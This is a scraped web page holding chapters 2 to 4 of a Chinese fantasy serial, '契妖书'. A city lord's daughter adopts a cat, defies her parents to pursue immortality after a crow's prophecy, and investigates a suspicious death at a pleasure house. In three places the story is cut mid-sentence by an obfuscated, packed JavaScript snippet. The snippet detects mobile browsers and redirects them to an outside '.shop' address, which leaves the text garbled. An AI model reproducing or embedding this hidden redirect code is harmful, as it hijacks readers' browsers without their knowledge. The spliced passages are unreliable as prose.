《契妖书》 2. 雍州城有一煞。 安乐巷两侧早已支起摊子,正是一日务忙时,老树下的茅草棚只坐了几个没事干的老人和孩童,早早候在里面。 招枝花展的少年坐在一众老少中间,更加夺目。行人路过,都要朝棚内看上两眼。 白衣说书人慢步过来,悠悠喝了口热茶,拿起羽扇扇了扇风,才缓缓开口,先问了一句: “昨日说到灵越大人和春雨楼乐伶宣素之间不得不说的二三事,诸位可听得尽兴?” “尽兴!”孩童们很是捧场,抚掌欢呼。 “既然尽兴,今日便继续往下说。咱雍州城不仅有一宝,还有一煞,是何人?” 白衣说书人卖了个关子,只是雍州城这一煞,实在不算秘辛,人尽皆知。孩童们笑答,“还是灵越大人!” “没错!”白衣说书人哈哈大笑两声,往少年那处瞥上一眼,“雍州城有一言,好时如菩萨,坏时甚罗刹,说的就是我们灵越大人。若是在她心情不好的时候触到她的霉头,就算是京城来的小侯爷,也难逃一劫。” * 出门时如脱兔,回府时若陆龟,祁灵越牵着托包袱的雪驹,慢吞吞走在安乐巷的青石砖上。 “大人,再不回府,就要被夫人抓个正着了。”巧玉忍无可忍地催道。 “好了好了,巧玉,你说了一路了,我耳朵都要长茧子了,这就加快脚程,行不行?”祁灵玉这样说着,脚上动作果然快了些,却是看到了巷道边上的墙角长了一丛狗尾巴草,摘下一根,叼在了嘴里。 巧玉无可奈何:“大人,你又不是不知道夫人的脾性,要是真在门口撞上了,我可不帮你说话了。” “嘘!”祁灵越打了个手势,示意她噤声,“有狸奴在叫。” 前面路口通向一条小巷,祁灵越不顾巧玉阻拦,快步拐进去。 一只精壮的黑犬正对着一只花色狸奴吠叫不止,它身后乃是一锦衣儿郎,撅着后股兴冲冲地指挥道:“黑将军,上!咬死它,对着它的脖颈来上一口……哎哟!哪个胆大包天的敢踢小爷!看我不……” “看你不怎么样?”祁灵越吐掉嘴里的狗尾巴草,又踹了他一脚。 做了个神仙梦就罢了,谁不做噩梦,只是那金羽乌鸦竟然从梦里飞了出来,祁灵越越想越烦闷。一口气憋在胸腔里,正愁没处发,送上门来的屁股,不多踹两脚岂不可惜。 “你!”王钦舟怒气冲冲,回头对上祁灵玉似笑非笑的面容,气焰瞬间偃旗息鼓,赔笑道,“灵越!你解禁了?” 花狸奴忽然弱弱地‘喵’了一声。 黑犬随主,见有人过来,也不管狸奴了,护到主人跟前呲牙低吼,闻到熟悉的气味,眼神霎然清澈,狗尾巴摇了起来。 祁灵越掠过一人一狗,走上前,花狸奴顺势娇娇柔柔地又唤了一声,在她的手伸过去时,怯怯地缩了缩脑袋,却又强忍恐惧,似害怕又似期待,最后向前一步,主动蹭了蹭祁灵越的手。 我见犹怜。 后面一人一狗看得目瞪口呆。 祁灵越道:“你不回京城读书,就在我的地盘欺负一只手无缚鸡之力的狸奴?” 王钦舟头摇成拨浪鼓,连忙道:“没有!是这只狸奴!我本想带黑将军去寻你,好好地路过,这只坏狸奴不知从哪里冒出来,给了黑将军来了一爪,不信你看!黑将军鼻子上还有爪痕呢!” 祁灵越回头看向黑犬,花狸奴趁她看不见,朝黑犬无声呲牙。 黑犬受此挑衅,汪汪大叫,王钦舟大叫道:“你看!明明是……” 祁灵越迅速回过头,便见花狸奴惊得炸毛,一双碧绿的眼睛楚楚可怜,抬起一条前腿,一瘸一拐地后退。 王钦舟瞪大双眼,一时之间,竟知该如何辩解,他堂堂小侯爷,居然被一只狸奴给讹了! 黑犬虽通人性,却是个直脑筋,只知这狸奴一而再再而三地装模作样,叫得愈发大声。 祁灵越冷声道:“你莫不是想说,是这花狸奴欺负到了你的头上?” 王钦舟哑然道:“说了你又不信,真是这样!” “一只狸奴罢了,还能成了精,和你王小侯爷耍心眼子不成?它体型多大,黑将军体型多大?”祁灵越将吓坏的狸奴抱了起来,顺毛轻抚,低声安慰,“乖,莫怕。” 她对身后的巧玉道:“取笔墨来。” 王钦舟道:“你要干什么?” 祁灵越斩钉截铁道:“聘猫。” 王钦舟不死心地劝道:“灵越,你被它骗了,此猫诡计多端!你不信我,还不信黑将军么?我家黑将军,连一只耗子、鸟都不曾咬死过!” “这猫来我家后院许多次了,此前毛发柔顺,毫无怯懦、讨好之态,身形矫健,来去无踪。”祁灵越声音里听不出情绪,“今日再见,却是伤痕累累,定是在外面受了欺负。” “我将它聘作我家的狸奴,谁若是再敢欺负它,就是与我祁灵越过不去。”祁灵越很快写好了一张纳猫契,递给巧玉,“今日六月十六,正是吉日,巧玉,回府后即刻给狸奴置办聘猫礼,从今往后,它便是我的猫了。” 花狸奴在她怀中依旧怯怯:“喵~” 王钦舟:“……” 黑犬愤愤:“汪!汪汪!!” 巧玉拿起纳猫契看了两眼,也觉得这狸奴实在可爱,忍不住探讨:“大人,这狸奴还未取名,你打算给他取个什么名字?” “五色毛,额上朱毛飞,日下若彩萤。不如叫作阿五,阿彩,赤狸?”祁灵越无视一人一狗,琢磨起狸奴的名字。 花狸奴:“……” 花狸奴抗议:“喵喵!” 巧玉这才想起自家大人曾给自己取过的奇葩名字,打了一个颤栗,忙道:“大人,时辰不早了,还是回府再想罢。” 一人一狗眼睁睁看着主仆二人旁若无人地抱猫而归,王钦舟气得原地跺脚:“可恶!!哪来的臭狸奴,离间我和灵越的感情!” * 城主府,一个小丫鬟从院墙上翻了进去,左右瞄了几眼,确定无人后,小声道:“大人,夫人未归,快进来罢!” “你接着狸奴!”祁灵越在墙的另一头道。 花狸奴被放在院墙上,睨了一眼下面伸手接它的巧玉,甩了一下尾巴,自己跳到了一边。 巧玉夸赞:“大人!这狸奴自己可以跳下来!” 祁灵越也翻墙跳了进来,下意识左右张望,小声道:“走,快回……” “回哪去?”一声冷厉的声音从树后面传来,“鬼鬼祟祟,成何体统!” 祁灵越听到声音,心头一紧,和巧玉对视一眼,认命地乖乖转过身。 “阿母。” “夫人。” * 茅草棚下,白衣说书人说得口干舌燥。 “要说恶人自有恶人磨,灵越大人天不怕地不怕,就怕城主夫人。俗话说,姜还是老的辣……” 他的眼神粗粗一扫,木凳上原先坐着的少年不知什么时候已经不在那里了。他说完这一段,清了清喉,结束道:“今日就到这里,欲知后事如何,请听下回分解。” * “还知道我是你阿母,我都不知道自己什么时候生了个这么有能耐的女儿,你翻得了院墙,怎么不去翻那高山沧海?哟,今儿个又得了什么新玩意,收破烂还不够,还收了只狸奴?” “瞪什么瞪,长了一簇朱毛在头上,就真当自己是白虎了?” “还有你,笑什么笑,巧玉啊巧玉,我叫你看着小姐,你就是这么看的!怎么,她做什么你都跟在后面,她屙屎你怎么不给她擦屁股啊?” “夫人……”祁夫人身后的嬷嬷硬着头皮附耳提醒,“话太糙了。” 这时,一只金色乌鸦嘎嘎振翅,立在墙头上,注视着院墙下的几人。 “嘎嘎什么,什么破鸟也往我家里飞,我府上又不是鸟兽苑。”祁夫人操着木棍,本是要对祁灵越棍棒伺候,这会直接将木棍朝金鸦丢了过去,“我管你是金鸟银鸟,打断本夫人说话,就要挨打。” 才停稳的金鸦见了这等架势,神气刹那间不再,扑腾翅膀惊慌失措地飞走,掉下一片金羽。羽毛飘落到地上,又变成了正常乌鸦的黑羽。 狸奴见了,扑上去玩耍。 祁夫人发起怒来,路过的狗都得挨上两句,骂够了,也就气消了。 她语气缓了缓,道:“灵越,议亲的媒婆都要将府上的门槛踏坏了,王家小侯爷也差人来说了和你的亲事。他身份虽高,我们城主府驻守一方,也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617811|206113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上高攀。你们二人自幼相熟,他虽不学无术了些,家中无老母在上,又是我看着长大的孩子,知根知底,你若喜欢……” 祁灵越一口回绝:“阿母,我不喜欢。” 祁夫人厉声道:“你这不喜欢,那不喜欢,难道要出家作道士不成?!” 祁灵越不吭声。 祁老爷闻声赶来,正好听到这一句,乐呵呵打圆场道:“道士也挺好,今年京城不是还有仙人择徒么,做个道士,腾云驾雾,降妖除魔,我们灵越岂不出息了。” 他朝祁灵越挤眉弄眼,为祁夫人狠狠一瞪,噤声了。 “罢了罢了,你们父女二人一唱一和,我是管不了了。”祁夫人摆摆手,“我去歇着了,莫来烦我。” 祁夫人一走,祁老爷也跟着走了。 祁灵越才回房,一个丫鬟在门外道:“小姐,老爷差我给小姐递话。” “什么话刚才不说。”巧玉嘀咕两声,见自家大人微微点头,对外道,“进来说话。” 那丫鬟是祁夫人的贴身丫鬟,进门福了福身,道:“小姐,老爷的话如下: ‘寻郎君的事莫担心,不喜欢小侯爷,招个赘婿也是可以的,届时你在家中继续做逍遥小姐,在外继续当你的灵越大人,我和你阿母都支持,只是这话,不能为外人道也。’ ‘知道你钟情宣素,你将他纳回来,好生将养着,也不是不行,只是这事要做得隐秘,我和你阿母,也没有不许,只是万万不可外传。’” 说完,她静静站到一边等祁灵越回话。 “大人,”巧玉高兴道,“这未尝不可。” 狸奴闻言从她身边走过,跳到祁灵越身上,不满:“喵~” 祁灵越抚着狸奴,没有搭理巧玉,而是问那丫鬟:“阿母昨夜供奉神仙可还顺利?” 丫鬟道:“顺利倒也顺利,不过……” 祁灵越道:“不过什么?” 丫鬟一五一十道:“昨个儿上山的时候,车夫打了个盹,行岔了一条路,没有去到怀清仙殿,而是到了一个另外一个地方。那地方是一座庙,名为慈灵仙庙。庙里没有香客,亦没有住持,只有一位女道士和一个小童子。” 巧玉奇道:“庙里怎会有女道士,若是尼僧,也还说的过去。” 丫鬟道:“夫人也纳闷,那道士说:‘这座仙庙乃是为供奉慈灵道君所设,慈灵道君本是修道之人,飞升之后,位列仙班,本应设仙殿。但这庙却不是道君飞升后建的,而是附近百姓得了未飞升时的道君庇护自行建设,原为慈灵庙,待道君飞升之后,添了一个‘仙’字,就显得不伦不类了。’” 慈灵仙庙? 这庙听着有几分耳熟,祁灵越回忆一番,原是在白羽的故事中听过,道:“这仙庙人烟稀少,又建的偏僻,你们有没有遇到什么怪事?” 丫鬟摇头:“没有。” “不过……”她回忆道,“那庙有些年份了,很是破败,慈灵道君是泥身塑的,眉心亦有颗痣。” 她还有句话没说,说出来就是对神仙的大不敬了,她觉得那慈灵道君面容和自家小姐有几分相像。 祁灵越道:“我知道了,你下去吧。” “对了。”丫鬟忽然想起来,从怀中取出一个装着红绫的荷包,“雍州城女子出嫁离家,都要在头上系一条红绳,寓意女子离开娘家后亦能平安幸福。夫人觉得红绳俗气,便为小姐亲自绣了一条红绫,这条红绫放在道君跟前,由女道和夫人共同诵了九十九遍祈福经。” 巧玉接过荷包,放在祁灵玉面前的案桌上。 丫鬟走后,祁灵越将巧玉也差了出去,独自对镜而坐。 她望着镜中的自己,按了按自己眉心的红痣。 她出生的时候,阿父阿母找了个道士为她算命。道士说她眉心带痣,心怀慈悲,乃是观音相。又掐了掐指,说她不安于宅,命运多舛。 那道士自然被她阿父阿母扔了一锭银子,打了出去。 祁灵越垂首,狸奴躺在她怀中睡得正香。 它松松软软的毛上,粘着一根黑色的鸦羽。 有些事,既然找上门来了,就避无可避。 “有什么事,进来说罢。”祁灵越对着窗台上站着的金羽乌鸦道。 3. 我要出家! 金羽乌鸦飞了进来,落在房中一只鸟架上。那里原本应该有一只白鹦鹉,每日叽叽喳喳好不烦人,后来有一日晨起没见着它,就再也没看到过白鹦鹉的踪影。 祁灵越见它两只小尖爪抓在木棍上,一点也不违和,她还以为这金羽乌鸦身为仙鸟,进门来定要化为人身,好生唬弄一番。没想到老老实实、呆呆笨笨,和之前的那只白鹦鹉差不多。 祁灵越借着铜镜观察它,心道:看来不论是仙鸟还是凡鸟,都不过是鸟。没有小鸟能拒绝一根木棍。 “祁灵越。”金羽乌鸦冷肃地唤她名字。 “有事就说,有屁就放。”祁灵越道,“你跟了我一路,来到我府上,进到我院子里,应当不是只为了叫我一声名字罢。” 金羽乌鸦冷冰冰道:“你可知自己是什么身份?” 祁灵越笑了一下:“什么身份?” 金羽乌鸦道:“我已使了术法让你梦见前尘往事,你应当知道自己本是天宫中看守百妖苑的女仙。” 祁灵越冷笑道:“那又如何?” 金羽乌鸦道:“你数罪在身,被贬下凡……” 祁灵越打断它:“你方才说,我原本在天宫是做什么的?” 金羽乌鸦睁着蓝黑的圆眼珠,不知她何故忽然发问,如实答:“看守百妖苑的女仙。” 祁灵越继续问:“须日日在职?” 金羽乌鸦:“不错。” 祁灵越:“每日须看守几个时辰?” 金羽乌鸦:“十二个时辰,不可疏忽。” 金羽乌鸦还没回过味来,祁灵越笑道:“真是奇了。我好端端地做我的城主之女,家中无规矩束缚,除了不许我独自行走江湖,在府中我日日可以睡到日上三竿,非美味佳肴不吃,非金银珠玉不戴,非绫罗绸缎不穿,看戏、听曲、阅美男,日子好不快哉。这个‘贬’字,不好不好,我若真是那女仙,分明是下凡享福来了。” 金羽乌鸦沉默了。 半晌,才生硬道:“不对。” 祁灵越:“如何不对?” 金羽乌鸦道:“若不是流素仙君为你求情,你已受天雷凌迟,封仙骨,永世不可入轮回。” 祁灵越道:“我现在可有仙骨?” 金羽乌鸦道:“并无。” 祁灵越道:“我可还有来世?” 金羽乌鸦道:“若不能收伏百妖,再无来世。” 祁灵越笑道:“我已经是一介凡人,且无来世。收伏百妖,困难重重,吃尽苦头都未必能有来世,不如潇洒度日,无悔此生,不求来世。” 金羽乌鸦再次默然,道:“三年后,大旱将至,雍州城民不聊生,你的丫鬟巧玉将会割肉救主,救你和你的父母。两年前,你曾开仓放粮,三年后的大旱非同寻常,你们吃尽了粮食,百姓却不信,攻入城主府,你的父亲死于踩踏之下,你的母亲为人茹血而尽。” 祁灵越面色冷厉起来:“你在威胁我?” 金羽乌鸦:“你为人时的命运早已被书写,任凭你如何早作准备,都无法更改。” 祁灵越默了默,道:“若我愿意离家,随你收伏百妖,方才你说的事,可还会发生?” 金羽乌鸦道:“会。” 室内一阵漫长的寂静。 祁灵越怀中睡得正香的狸奴翻了个身。 祁灵越像是妥协,语调很平静:“看来我别无选择了。” 金羽乌鸦道:“看似如此。” 祁灵越道:“我要如何收伏百妖?” 金羽乌鸦:“仙帝仁慈,赠予你一件法宝,契妖书。你需寻到百妖,和他们重新结下天地契约,将其收回书内。在此过程中,我会协助你。” “我知道了,”祁灵越沉吟道,“你先去外面随便找棵树待一会,我要一个人静一静。” 祁灵越将自己关在房中谁也不见。到了午时,巧玉催了两次用饭都被拒绝,在门口徘徊难安,正犹豫着要不要禀告夫人,门措不及防地开了。 她连忙上前:“大人!” 祁灵越望着巧玉白面团子似的软糯的面颊,伸手捏了一捏。 将养两年才长出来的肉,就应该一直丰盈下去。 祁灵越捏了一会儿,见巧玉傻笑着任她揉捏,收回魔爪,问道:“老爷夫人用过饭了吗?” 巧玉:“用过了。”她正要吩咐边上的丫鬟上菜,祁灵越抬手阻止,道:“用过饭就好,免得还未用饭,待会叫我气饱了。巧玉,带上之前我之前剿匪的长枪,陪我走一趟,我要去看望老爷和夫人。” 祁灵越穿过家中的厅堂楼阁,越过精心布置的假山流水,每一步都走得极慢。 到了父母院中的时候,二人正在对棋。院子里凌霄花开得正好,岁月静好得像一幅画一样。 祁灵越静静站在远处看了许久,才走过去。 她摒退扇风的小丫鬟,自己接手团扇,摇了一会扇子,忽而出声道:“下这里。” 两人这才看到祁灵越,祁夫人被吓了一跳,抚胸道:“你这坏丫头,大中午不小憩,也不去玩你的狸奴,来我院子里作什么怪?” 她嘴里埋怨着,一面示意贴身丫鬟拿两碗冰酪来。 祁灵越对一众丫鬟道:“你们都下去罢,我有要事要单独和父亲母亲说。” 巧玉也跟着一起下去,祁灵越拦住她:“你留下,一起听。” “什么事这么神神秘秘的。”祁老爷以为传话起了作用,慈笑道,“你这么快就想通了?心悦哪家的郎君,和为父说说。” 祁夫人咳了两声,话先讲在前头,道:“对方家世需清白,乐伶一流,不可作夫君。” 祁灵越等他们都说完,微笑着将两杯菊花茶递到二人面前,乖巧道:“阿父,阿母。” 祁老爷祁夫人期冀地望着她,等她下一句话。 祁灵越定定地对上两人视线,略显英气的面容一脸凛然,郑重其辞道: “我要出家!” 院子里一阵鸡飞狗跳。 祁夫人操起木几上的花瓶就摔了过去:“我打死你个逆女,你是想气死谁,出家,出什么家,我看你是几日没打了,昨日你又去寻那宣素,我说你什么了?!” 祁老爷也气得站了起来,见祁夫人气得一连摔了几个花瓶,连忙将方才祁灵越沏好的菊花茶递上去:“夫人,消消火,灵越说着玩呢。” 他回过头,道:“你胡说什么!看把你阿母气成什么样了,还出家!你出家了,你的心肝宣素怎么办?我从小怎么教你的,为人处世,总归要讲情意对不对,不能玩两天,就将对方扔在一边不管了。” 祁老爷疯狂朝祁灵越使眼色,在看到她平静坚定的眼神的时候,心下猛地一坠,坐回座位上。他了解自家女儿,她和别的小娘子不一样,主意正,当她决定做什么事的时候,定然是深思熟虑过后,九头牛都拉不回来她。他端起菊花茶,饮了一杯,示意巧玉续杯,再次一饮而尽,才开口道:“心意已决?” 祁夫人见她神色丝毫不作假,气得站都站不稳了,巧玉连忙将她扶到座位上,安抚道:“夫人,消消气。” 她亦茫然地看向祁灵越,不知道自家大人为何突然想出家。 祁灵越道:“我意已决。” 祁老爷重重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617812|206113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,没再说什么。 祁夫人良久不说话,落下一滴泪来,道:“灵越,为何忽然做了这个决定,你总要让阿母心里有个数罢。” 祁灵越道:“我做了一个梦。” 远处隐隐传来乌鸦嘎嘎的叫声,似乎是在警告。 祁灵越道:“我梦到自己成为了最厉害的修士,济世为民,飞升成仙。您和阿父长寿无灾,认了巧玉做干女儿,一家人无病无忧。在我飞升之后,为我建祠设庙,世世代代供奉。” 巧玉喃喃道:“小姐……” 祁老爷道:“灵越,这只是一个梦。” 祁灵越道:“阿父,这不是一个梦。” 她对巧玉招招手,做了个口型:长枪。 巧玉觉得她说的不像是假的,正伤心欲绝,忽然一愣,将背后的长枪拿给她。 祁灵越手握长枪,仰头望天,奋力对天一刺,像极了不知天高地厚、自命不凡的少年狂徒,一本正经道: “我祁灵越,天生非池中之物!天命在我,不由苍天!逆天而行,本应成仙!” 一只花瓶又扔了出去,摔在她脚下。 院子里又传来‘嘎嘎’几声的鸦叫。 祁老爷揉了揉眉心,道:“罢了罢了,今年正值仙人择徒,侯爷正好来信,也催小侯爷回京了。你若真有此意,且去罢。” 祁夫人抬起头,眼里情绪翻涌,语调苍凉,道:“灵越,修途多舛。” 祁灵越还维持着以长枪指天的姿势,毅然道:“溺水行舟,越挫越勇!” 祁老爷:“……” 祁夫人:“……” 气得没眼看。 祁老爷摆手道:“你先回去,我和你阿母再商讨商讨。” 祁灵越收回长枪,和巧玉一起走在回去的路上。 巧玉忍不住问道:“大人,你真的要去做道士?” 祁灵越点头:“不要说道士,听起来像是算命的白发老汉,我是要去修仙。” 巧玉思索道:“好,巧玉愿一直跟随大人左右,永远保护大人。” 祁灵越脚步一停。 她背对着巧玉,问道:“巧玉,你还记得我们初见的时候么?” 巧玉道:“记得。” “我生而伶仃,村里人说我克父克母,欺我辱我,是大人救了我,我愿意用一生报答大人。” 祁灵越叹气道:“你可还记得我送你学功夫时说的话?” 巧玉低声嗫嚅道:“记得。” 祁灵越道:“你复述一遍。” 巧玉道:“要好好学功夫,再有别人欺负我,就把那些人都打趴下。” 祁灵越转过来,蹲下身,盯着巧玉干净的眼睛,道:“这就对了,让你学功夫,是用来保护自己的,别成天想着保护别人。” 巧玉懵懂地点头,她问道:“大人,那你呢?你为何想修仙?” 祁灵越道:“因为……”她看到树顶上的金羽乌鸦,将心里话咽了回去,笑着道,“很酷啊。” “大人!”正说着,有小厮上接不接下气地向她跑过来,“灵越大人!” 是宣素身边的仆从阿汴。 祁灵越站起来,问道:“发生什么事了,这么着急?” 阿汴道:“您快去看看罢,今晨您前脚刚走,我们公子就出事了!” 他像是找到了主心骨,一口气道:“一直和我家公子不对付的月莲公子突然暴毙,有人怀疑是公子害的,不顾阻拦,在公子房中一顿搜寻,搜出了一个泥菩萨。那人一口咬定公子勾结妖邪,谋害同寮,蛊惑大人。已经命人去请道士了!” 4. 泥菩萨。 春雨楼。 楼里吵吵嚷嚷,一片狼藉,祁灵越才进门,一只绢鞋直朝她脸上飞了过来,她偏身一让,身后的巧玉伸手接住,嫌恶地拿远了些,气势十足地喊道:“谁扔的鞋?!” 里面的小倌听到巧玉的声音,都知道是祁灵越来了,回过头,一窝蜂地在门口堵了个水泄不通,哭天喊地道: “灵越大人!您要为我们做主啊!” “宣素瞧着是个不争不抢的,端着一副清高做派,没想到内里是个黑透了的主!他勾结妖邪,谋害了月莲不说,平日里,定是没少给您施妖法,否则就凭他相貌平平,何以得到您的芳心?” “灵越大人,望您火眼识奸邪,莫被小人坑害了呀!” 事情还没来得及讲清楚来龙去脉,宣素的罪名已经板上钉钉了。祁灵越心知有自己的庇护,事情没有水落石出之前,宣素不应被整座花雨楼的人群起而攻之,定是有人刻意引导。她将所有人的行为神色看在眼里,心中有了定数。 龟公从楼上挤了过来,道:“灵越大人,您可算是来了!” 祁灵越示意巧玉举起绢鞋,只问:“谁扔的鞋?” 没人答话,喧嚷声却小了许多,龟公焦急道:“大人,鞋不鞋的不重要……” 跟在祁灵越身后的阿汴认出来了,高声道:“这是月兰的鞋!他的鞋头总喜欢绣云纹!大人,月兰和月莲是孪生兄弟,平日里就对公子没什么好脸色!就是他陷害我家公子!” 祁灵越扫视众人,冷哼一声:“我方才一进来,就见你们在楼上围在宣素门外,这鞋分明是冲着宣素去的。力道大了,不巧,险些扔到我的脸上。若我再来晚些,你们准备将宣素如何?” 众倌噤了声,没想到方才一通告状无用,祁灵越还是要偏袒宣素。 祁灵越将众倌的不满都看在眼里,一跃上了二楼,直直走向人群中方才还气焰嚣张,现下如鹌鹑般的男子,道:“若我没记错,你就是月兰。和你哥哥月莲一人吹箫,一人抚琴,两相配合,很是婉转动听。如今月莲出了事,我心中亦不好受,只是事情未下定论前,我想先问你三个问题。” 她不待对方回答,道:“第一个问题,春雨楼倌人不下百人,为何月莲出了事,你一口咬定是宣素所为,而非旁人。第二个问题,单凭一个泥菩萨,何以定罪,又如何与妖邪相干?第三个问题,若宣素当真害了你哥哥,为何与我和宣素的情谊扯上关系,非说他蛊惑了我,就不能是我心悦于他么。” 巧玉在祁灵越身侧连连点头。自从知道了宣素并非男子,就知道这一通指认有多么站不住脚。 宣素根本就不可能为了大人争风吃醋嘛! 龟公才从二楼挤下去,现在又连忙跑了上来,在月兰开口回答前挡在他前面,神色复杂道:“大人,您只需看两样东西,就明白了。” 祁灵越为了保护宣素的身份,时常一掷千金,知道龟公不会有意为难宣素,这其中恐怕另有隐情。又见他看向自己的眼神飘忽,似是连直视都不敢了,道:“带路。” 片刻后,祁灵越跟着龟公到了停放月莲尸体的雅室,巧玉和阿汴将其他人拦在门外。 室内熏着淡淡的檀香,祁灵越环视一圈,将目光投向床上垂下的纱帐,纱帐轻薄,隐隐可见其后躺在床上的瘦弱身影。 龟公颤着手掀起纱帐,道:“灵越大人,这便是受害之人,月莲。” 床上的人面颊深深凹陷下去,眼睛瞪得奇大,像是看见了不该看的东西,极度惊恐之下,被什么妖物吸食精血而亡。 如此骇人的死状,确实容易使人联想到妖邪,更遑论现在天下妖、精、鬼、怪肆虐。 祁灵越探了探他的鼻息,眸色沉重,月莲已经死了。今晨才见了金羽乌鸦,而后春雨楼就出了事,事情怎么如此巧合? 她正想问一问细节,龟公道:“大人,我知道您忧心宣素,您跟我来。” 龟公并没有走向门外廊道,而是推开窗,爬了上去,伸出一只脚扶着窗向下探了探,随即跳下。 祁灵越饶有趣味地望着他,龟公道:“大人,您也知道,我们做这一行的,为了避免麻烦,总要给客官留一条隐秘便行的通道……” “行了。”祁灵越在窗台上不经意地抚了一抚,果然摸到了什么,指尖摩挲,道,“走罢。” 越过两扇明窗,龟公叩了叩窗扉:“宣素,是大人来了。” 窗户被人从里面一把打开,开窗的人却不是宣素,龟公惊道:“王小侯爷,您怎么来了!” 王舟钦带了两个武打仆从站在里面,见到窗外的祁灵越,义正言辞道:“灵越!这宣素绝非善类,不仅以身姿容貌引诱于你,败坏你的名声。还仗着你的喜爱为非作歹,戕害旁人,我已将他拿下!” 祁灵越视线一转,宣素被人五花大绑在椅子上,嘴里还塞了个布条,满眼无奈。 她心中石头落下,看样子,宣素的女儿身并未被人发现。旋即一跃而入,越过王舟钦,将宣素口中的布条取出,打开门,唤了一声:“巧玉!” 巧玉闻声从人群头上踏空过来,见到椅子上的宣素,气鼓鼓道:“谁干的!” 她连忙替她解绑,关心地问道:“宣……公子,身上可有什么不适?” 宣素轻咳几声,叹道:“我没事,幸好大人来得及时。” 王舟钦自小和祁灵越相识,自从巧玉跟了祁灵越,爱屋及乌,对巧玉亦疼爱有加。给祁灵越带礼物的时候,总给巧玉也备上些孩童喜爱的玩意,此时如遭背叛,嚷道:“巧玉!我白疼你了!” 龟公才从窗台上爬了进来,道:“大人,您看这个。” 他从怀中取出一物,包裹着的罗布揭开,看到里面的物什,在场之人皆倒吸一口凉气,不由自主看向祁灵越。 是一尊半尺长的泥菩萨。 泥菩萨面容慈和,眉心一颗痣。只是半阖的慈目,微抿的嘴角,与祁灵越不说一模一样,至少也有八分相像。 祁灵越定定地望着泥菩萨,不知想到了什么,一时间没有说话。 王舟钦不可置信地看着泥菩萨,回头看向宣素,声音气极而颤,道:“你、你!你简直侮辱灵越,亵渎神灵!” 巧玉看到了那泥菩萨,面色亦不大好。再看看唇笑眼不笑的自家大人,心知不妙,这是自家大人盛怒的前兆。 她家大人平声最厌烦求神拜佛的虚妄之举,夫人喜欢此道,身为子女,不好多言。若是旁人将这些舞到她面前来,那必是自寻死路。 顾念从前的情谊,巧玉扯了扯王钦舟的衣角,轻声提醒道:“小侯爷,莫再添乱了。” 这楼里谁都可能雕刻这尊泥菩萨,唯独不可能是宣素。 龟公道:“大人,并非我偏袒月兰。您也看见了,月莲出了那样的事,而这泥菩萨又是在宣素房中搜得的,便是小人不愿相信,也不得不先将宣素锁在房中,总要给楼里兄弟一个交代。” 王钦舟怒视着宣素,房门敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617813|206113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响,有人在门外道:“大人,请的道士到了。” 龟公请示道:“大人,道士来了,事情究竟如何,先请道士看一看?” 事已至此,先看看道士怎么说。祁灵越看向巧玉,微微颔首:“开门罢。” 门一开,一名道士摇摇晃晃地走了进来,他的胡子有半截是歪的,眉毛亦被描得又黑又粗,手上持一长长的道幡,旁若无人地四望几眼,自言自语:“嗯,好重的妖气!” 王钦舟将这道士上下打量了几眼,道:“龟公,你没钱请正经道士我可以给你,你找个江湖骗子打发谁呢?” 祁灵越见道士作此打扮,眉头一跳,揉了揉眉心。 虽有意扮成道士的样子,但粗眉白须之下,分明是个年轻的女子。 祁灵越耳边传来一道声音:“此人是太隐的弟子。” 她向窗外望去,金羽乌鸦站在瓦檐下看着她,瞬间明了,这是金羽乌鸦使的传音术。 世间修行门派林立,太隐是其中最厉害的仙门。 既是仙门太隐的弟子,此事应当很快就能有着落。祁灵越心下稍安,便见他身后的门半掩着,从门缝里钻进来一只花狸奴,在众目睽睽下大摇大摆走了进来,无视众人,走到祁灵越脚下,蹭了蹭裙摆,抬头道:“喵~” 王钦舟见到这狸奴,浑身汗毛都炸了,如临大敌,安静不少。 宣素此时忽发旧疾,抚着胸口咳了好几声,睫毛微垂,室内之人的目光又落在了他的身上。 祁灵越沏了一杯茶,声音轻柔道:“你喝点水,润润喉。” 王钦舟气得快哭了。 这样温柔的语气,灵越从未对他有过! 巧玉见了狸奴,朝它招手:“诶?你怎么出来了,这不是玩耍的地方,快过来。” 狸奴不理她,只巴巴地望着祁灵越。 宣素又咳了几声。 现下人命关天,并不是任由狸奴胡闹的时候,为免它四处乱跑扰了正事,祁灵越索性将它抱在了怀里,对道士道:“不知阁下如何称呼,这楼中妖气从何而来?还望道人驱除妖邪,保春雨楼众人无恙。” “嗯……”道士左右观望,拿着拂尘左挥挥,右摆摆,口中念念有词,道,“妖气很浓郁啊!楼里藏了一只绝世大妖!” 